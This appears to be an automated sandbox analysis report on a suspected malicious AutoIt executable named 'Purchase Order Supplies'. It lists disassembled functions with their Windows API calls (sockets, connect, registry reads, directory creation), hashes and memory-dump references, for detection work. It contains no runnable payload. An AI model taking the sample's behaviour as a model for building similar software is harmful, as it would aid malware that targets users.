Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: cdb669750f04516796f8a0c418e04f1dfbcf20c0ad0235841bbbee6f09f0b76f
Instruction ID: ac2b1b831520560e76faaf11cf9c5bb5772103f701d55b7d39c275b486c2f218
Opcode Fuzzy Hash: cdb669750f04516796f8a0c418e04f1dfbcf20c0ad0235841bbbee6f09f0b76f
Instruction Fuzzy Hash: D1F0B775A403A47AE721576BAC48F673E7EE7D6F61B01411ABE08E22A0C6610895DAB0

Function 00CD6D6D Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 00C93B1E: _wcsncpy.LIBCMT ref: 00C93B32

GetFileAttributesW.KERNEL32(?,?,00000000), ref: 00CD6DBA
GetLastError.KERNEL32 ref: 00CD6DC5
CreateDirectoryW.KERNEL32(?,00000000), ref: 00CD6DD9
_wcsrchr.LIBCMT ref: 00CD6DFB

Part of subcall function 00CD6D6D: CreateDirectoryW.KERNEL32(?,00000000), ref: 00CD6E31

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast_wcsncpy_wcsrchr
String ID:
API String ID: 3633006590-0
Opcode ID: b7acd46369d9379104611ff1ec3c670d1c05e5217d73eb0705b892b4e2c7474a
Instruction ID: 4140c8275d375013c83752269d8400dcd36bcd50ad3e88ef69581cf032ff8960
Opcode Fuzzy Hash: b7acd46369d9379104611ff1ec3c670d1c05e5217d73eb0705b892b4e2c7474a
Instruction Fuzzy Hash: 1621D5756413149ADF2467B4EC4AAEA33ADCF11310F204557E631C32D2EF20DF85D655

Function 00CE9122 Relevance: 7.6, APIs: 5, Instructions: 71networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00CEACD3: inet_addr.WS2_32(00000000), ref: 00CEACF5

socket.WS2_32(00000002,00000001,00000006), ref: 00CE9160
WSAGetLastError.WS2_32(00000000), ref: 00CE916F
connect.WS2_32(00000000,?,00000010), ref: 00CE918B

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ErrorLastconnectinet_addrsocket
String ID:
API String ID: 3701255441-0
Opcode ID: 4c3fd952095550736d55b86a9640126e3093dc9fe6ed4b4cf561f11f1f0adf00
Instruction ID: efa0c355876c11d2fdf8c051d68944d3f1ba1a0f2d9c4e3a498f170cd9e3746b
Opcode Fuzzy Hash: 4c3fd952095550736d55b86a9640126e3093dc9fe6ed4b4cf561f11f1f0adf00
Instruction Fuzzy Hash: 0B218E31600211AFDB00AF69CC89BAE77A9EF49724F048459F956EB3D1DB74E8029B61

Function 00C93DCB Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 258COMMON

Download Yara Rule

APIs

Part of subcall function 00C93F9B: LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,00C934E2,?,00000001), ref: 00C93FCD

_free.LIBCMT ref: 00D03C27
_free.LIBCMT ref: 00D03C6E

Part of subcall function 00C9BDF0: GetCurrentDirectoryW.KERNEL32(00000104,?,?,00002000,?,00D522E8,?,00000000,?,00C93E2E,?,00000000,?,00D2DBF0,00000000,?), ref: 00C9BE8B
Part of subcall function 00C9BDF0: GetFullPathNameW.KERNEL32(?,00000104,?,?,?,00C93E2E,?,00000000,?,00D2DBF0,00000000,?,00000002), ref: 00C9BEA7
Part of subcall function 00C9BDF0: __wsplitpath.LIBCMT ref: 00C9BF19
Part of subcall function 00C9BDF0: _wcscpy.LIBCMT ref: 00C9BF31
Part of subcall function 00C9BDF0: _wcscat.LIBCMT ref: 00C9BF46
Part of subcall function 00C9BDF0: SetCurrentDirectoryW.KERNEL32(?), ref: 00C9BF56

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00D03A01
Bad directive syntax error, xrefs: 00D03C54

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CurrentDirectory_free$FullLibraryLoadNamePath__wsplitpath_wcscat_wcscpy
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 1510338132-1757145024
Opcode ID: 0ceecd8b809a0d30f854039e5cd5185995d0df981eca89affd66a8596a589cba
Instruction ID: 52800c5c78854a07f542088a2b0acf922309f0f89f4f9e8269697ce1e5d46690
Opcode Fuzzy Hash: 0ceecd8b809a0d30f854039e5cd5185995d0df981eca89affd66a8596a589cba
Instruction Fuzzy Hash: CE918271A10259AFCF04EFA4DC95AEE77B8BF05314F14442AF416AB291EB34DE05DB60

Function 00CB413E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

__getstream.LIBCMT ref: 00CB418E

Part of subcall function 00CB889E: __getptd_noexit.LIBCMT ref: 00CB889E

@_EH4_CallFilterFunc@8.LIBCMT ref: 00CB41C9
__wopenfile.LIBCMT ref: 00CB41D9

Strings

<G, xrefs: 00CB415D, 00CB4180, 00CB418C

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CallFilterFunc@8__getptd_noexit__getstream__wopenfile
String ID: <G
API String ID: 1820251861-2138716496
Opcode ID: 92a7b568e790816f4de70560bdc83c0f83bd03fbf37824f4729858bc6d3dbb03
Instruction ID: 2974765e7e850644cbde6c1391fc5993859e38a54414fc1abe63335eb7f81873
Opcode Fuzzy Hash: 92a7b568e790816f4de70560bdc83c0f83bd03fbf37824f4729858bc6d3dbb03
Instruction Fuzzy Hash: 4511C670D04216AFDB15BFB88C426EF37A4AF55350F148525A825DB282EB74CE81B761

Function 00CAC955 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,00CAC948,SwapMouseButtons,00000004,?), ref: 00CAC979
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,00CAC948,SwapMouseButtons,00000004,?,?,?,?,00CABF22), ref: 00CAC99A
RegCloseKey.KERNEL32(00000000,?,?,00CAC948,SwapMouseButtons,00000004,?,?,?,?,00CABF22), ref: 00CAC9BC

Strings

Control Panel\Mouse, xrefs: 00CAC977

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 02e2e3c109de2a41fe0e30b426fc6a5a8f0a8bc144e72e6ecd4634198e359b89
Instruction ID: d9a8502832659202a7a05da4172e36c8119aa19cfa4571180e2e1ee6c3040768
Opcode Fuzzy Hash: 02e2e3c109de2a41fe0e30b426fc6a5a8f0a8bc144e72e6ecd4634198e359b89
Instruction Fuzzy Hash: BE117C75511209FFDB118F64DC84EEF77B8EF09749F00841AB841E7210D7319E419B60

Function 00CCA8C8 Relevance: 6.3, APIs: 4, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718b9dc378c1e2ac9511271ab14699e1a17f596629c87b79c313a569a1956dac
Instruction ID: 89deef089262ec06508641d75e4dafb6653324116b6a9fae6f4d1f6ef2097ff9
Opcode Fuzzy Hash: 718b9dc378c1e2ac9511271ab14699e1a17f596629c87b79c313a569a1956dac
Instruction Fuzzy Hash: 5DC13975A0021AEFCB14CFA4C998FAEB7B5FF48708F104599E911AB251D730DE81DBA1

Function 00CDCC82 Relevance: 6.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

Part of subcall function 00C941A7: _fseek.LIBCMT ref: 00C941BF

Part of subcall function 00CDCE59: _wcscmp.LIBCMT ref: 00CDCF49
Part of subcall function 00CDCE59: _wcscmp.LIBCMT ref: 00CDCF5C

_free.LIBCMT ref: 00CDCDC9
_free.LIBCMT ref: 00CDCDD0
_free.LIBCMT ref: 00CDCE3B

Part of subcall function 00CB28CA: RtlFreeHeap.NTDLL(00000000,00000000,?,00CB8715,00000000,00CB88A3,00CB4673,?), ref: 00CB28DE
Part of subcall function 00CB28CA: GetLastError.KERNEL32(00000000,?,00CB8715,00000000,00CB88A3,00CB4673,?), ref: 00CB28F0

_free.LIBCMT ref: 00CDCE43

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: 3bbf84d6b84c5ccb4406d7a14d13c4f849fbec825050499589f31b9b6ee91132
Instruction ID: 3eedb2847dbf168ca14fd835c64738040e72a324b2f9df21195c2b69cbf00885
Opcode Fuzzy Hash: 3bbf84d6b84c5ccb4406d7a14d13c4f849fbec825050499589f31b9b6ee91132
Instruction Fuzzy Hash: 17512DB1D04219AFDF159F64CC81AAEBBB9FF48300F1040AEF619A3291D7715A80DF59

Function 00C91E58 Relevance: 6.1, APIs: 4, Instructions: 65timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C91E87

Part of subcall function 00C938E4: _memset.LIBCMT ref: 00C93965
Part of subcall function 00C938E4: _wcscpy.LIBCMT ref: 00C939B5
Part of subcall function 00C938E4: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00C939C6

KillTimer.USER32(?,00000001), ref: 00C91EDC
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00C91EEB
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00D04526

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: fe941ea6d52b53551b5e8848736f35b779def869a53f429d5f1278c159ab3504
Instruction ID: cdd991913f6fc02c0386dc497f4ed69f22735e03fd2ba22d05116ae1e4c16521
Opcode Fuzzy Hash: fe941ea6d52b53551b5e8848736f35b779def869a53f429d5f1278c159ab3504
Instruction Fuzzy Hash: CF2168B5504794AFEB3297248C5DFEBBBEC9B05308F08408DEA9E97281C7745A85C761

Function 00CE92C0 Relevance: 6.1, APIs: 4, Instructions: 60networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00CAF26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00CDAEA5,?,?,00000000,00000008), ref: 00CAF282
Part of subcall function 00CAF26B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00CDAEA5,?,?,00000000,00000008), ref: 00CAF2A6

gethostbyname.WS2_32(?), ref: 00CE92F0
WSAGetLastError.WS2_32(00000000), ref: 00CE92FB
_memmove.LIBCMT ref: 00CE9328
inet_ntoa.WS2_32(?), ref: 00CE9333

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: e6b4f807865d11c95476775d84d7e2f1cd830bc506f58804838d20c47b1240a7
Instruction ID: e4eb9aa4abb53eafb3c8c29020fd42495f7f2c1e0fa5a1f0f944de1406ff0f86
Opcode Fuzzy Hash: e6b4f807865d11c95476775d84d7e2f1cd830bc506f58804838d20c47b1240a7
Instruction Fuzzy Hash: 5D115E76600109AFCF04FBA1CD5ADEE77B9EF183147104055F506A72A2DF30AE05EB61

Function 00CB010A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00CB45EC: __FF_MSGBANNER.LIBCMT ref: 00CB4603
Part of subcall function 00CB45EC: __NMSG_WRITE.LIBCMT ref: 00CB460A
Part of subcall function 00CB45EC: RtlAllocateHeap.NTDLL(01350000,00000000,00000001), ref: 00CB462F

std::exception::exception.LIBCMT ref: 00CB013E
__CxxThrowException@8.LIBCMT ref: 00CB0153

Part of subcall function 00CB7495: RaiseException.KERNEL32(?,?,00C9125D,00D46598,?,?,?,00CB0158,00C9125D,00D46598,?,00000001), ref: 00CB74E6

Strings

bad allocation, xrefs: 00CB0137

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID: bad allocation
API String ID: 3902256705-2104205924
Opcode ID: aa488b650742c613b2836f7d915e238149ea543c39c282c80c882aefd7cd6ed5
Instruction ID: 45cfbf1f4b8c157566b0940df674cdeed598a7d351b292972dd4d9e01449b0c2
Opcode Fuzzy Hash: aa488b650742c613b2836f7d915e238149ea543c39c282c80c882aefd7cd6ed5
Instruction Fuzzy Hash: C3F0AF7514821EA6CB19EFACE8029EE7BE9AF04351F200416F90592192DFB0CA84A6B5

Function 00CEF79F Relevance: 4.9, APIs: 3, Instructions: 385COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b940fcda3d4edce92dc13c09b5d79d3e434c864496a52dd6012cbec23fd7e046
Instruction ID: b7879bbf81139926142126198710596bf1e589e0f7d244685eabea15c9c0685d
Opcode Fuzzy Hash: b940fcda3d4edce92dc13c09b5d79d3e434c864496a52dd6012cbec23fd7e046
Instruction Fuzzy Hash: D7F18B71A047459FC710DF29C884B5AB7E5FF88314F14892EF9999B392D730E946CB82

Function 00D08071 Relevance: 4.8, APIs: 3, Instructions: 266COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CA303A
VariantClear.OLEAUT32(?), ref: 00D0807D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ClearVariant_memmove
String ID:
API String ID: 19560607-0
Opcode ID: ed85c1ac0c7799b2d633880b14923fa4c90003c65ad7d0c7b732d2d2a13f2877
Instruction ID: 13a7e6d78b451a0ed299fd39e1715a82ff292d264e8eda5348683791055eceb5
Opcode Fuzzy Hash: ed85c1ac0c7799b2d633880b14923fa4c90003c65ad7d0c7b732d2d2a13f2877
Instruction Fuzzy Hash: 55A19F749002579FCB24CF58C890AADF7B1FF06318F688529E8699B351D735EE86CB90

Function 00C9C610 Relevance: 4.6, APIs: 3, Instructions: 125COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,?,00C9C00E,?,?,?,?,00000010), ref: 00C9C627
MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,?,?,?,00000010), ref: 00C9C65F
_memmove.LIBCMT ref: 00C9C697

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ByteCharMultiWide$_memmove
String ID:
API String ID: 3033907384-0
Opcode ID: af089a809aa2bd5da9e6225db6e4e7b688bbb157d7efc6d61a3d4d1e41b6bb9f
Instruction ID: 84b28c93a1b84beb828540cae95368861c411b0e89f7f9fbbcd72369707bd55b
Opcode Fuzzy Hash: af089a809aa2bd5da9e6225db6e4e7b688bbb157d7efc6d61a3d4d1e41b6bb9f
Instruction Fuzzy Hash: 303107B26012017BDB289B78DC8AB6BB7D9EF54350F10453EF85ACB290EB32E9509751

Function 00C93A67 Relevance: 4.6, APIs: 3, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(00C93C31), ref: 00C93A7D
SHGetPathFromIDListW.SHELL32(?,?), ref: 00C93AD2
SHGetDesktopFolder.SHELL32(?), ref: 00C93A8F

Part of subcall function 00C93B1E: _wcsncpy.LIBCMT ref: 00C93B32

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: DesktopFolderFromListMallocPath_wcsncpy
String ID:
API String ID: 3981382179-0
Opcode ID: 18a9b2c82e434ccd79d5c8b415627808169a832203d15424d2419dfcac1fdd9f
Instruction ID: b21d04df7f656e7847626f48892cae91f5cdaa8ced83e48538d0f99c2d5d9fb4
Opcode Fuzzy Hash: 18a9b2c82e434ccd79d5c8b415627808169a832203d15424d2419dfcac1fdd9f
Instruction Fuzzy Hash: C5213C76B00114ABCB14DF95DC88EEEB7BEEF88700B144094F509D7251DB309E469BA4

Function 00CB45EC Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00CB4603

Part of subcall function 00CB8E52: __NMSG_WRITE.LIBCMT ref: 00CB8E79
Part of subcall function 00CB8E52: __NMSG_WRITE.LIBCMT ref: 00CB8E83

__NMSG_WRITE.LIBCMT ref: 00CB460A

Part of subcall function 00CB8EB2: GetModuleFileNameW.KERNEL32(00000000,00D50312,00000104,?,00000001,00CB0127), ref: 00CB8F44
Part of subcall function 00CB8EB2: ___crtMessageBoxW.LIBCMT ref: 00CB8FF2

Part of subcall function 00CB1D65: ___crtCorExitProcess.LIBCMT ref: 00CB1D6B
Part of subcall function 00CB1D65: ExitProcess.KERNEL32 ref: 00CB1D74

Part of subcall function 00CB889E: __getptd_noexit.LIBCMT ref: 00CB889E

RtlAllocateHeap.NTDLL(01350000,00000000,00000001), ref: 00CB462F

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: 12223b911a51d9824c73cf3a3444b396c8a4f5301b11cd38e6f1aec3ff427b21
Instruction ID: a2be1d5072607df15d6c1574398335af9bc1ba937c573d64bd50b8a700872081
Opcode Fuzzy Hash: 12223b911a51d9824c73cf3a3444b396c8a4f5301b11cd38e6f1aec3ff427b21
Instruction Fuzzy Hash: 4F01B935605301AAE6293B35AC41AEA374CAF82761F150126F915D72C7DFB0DC40DA64

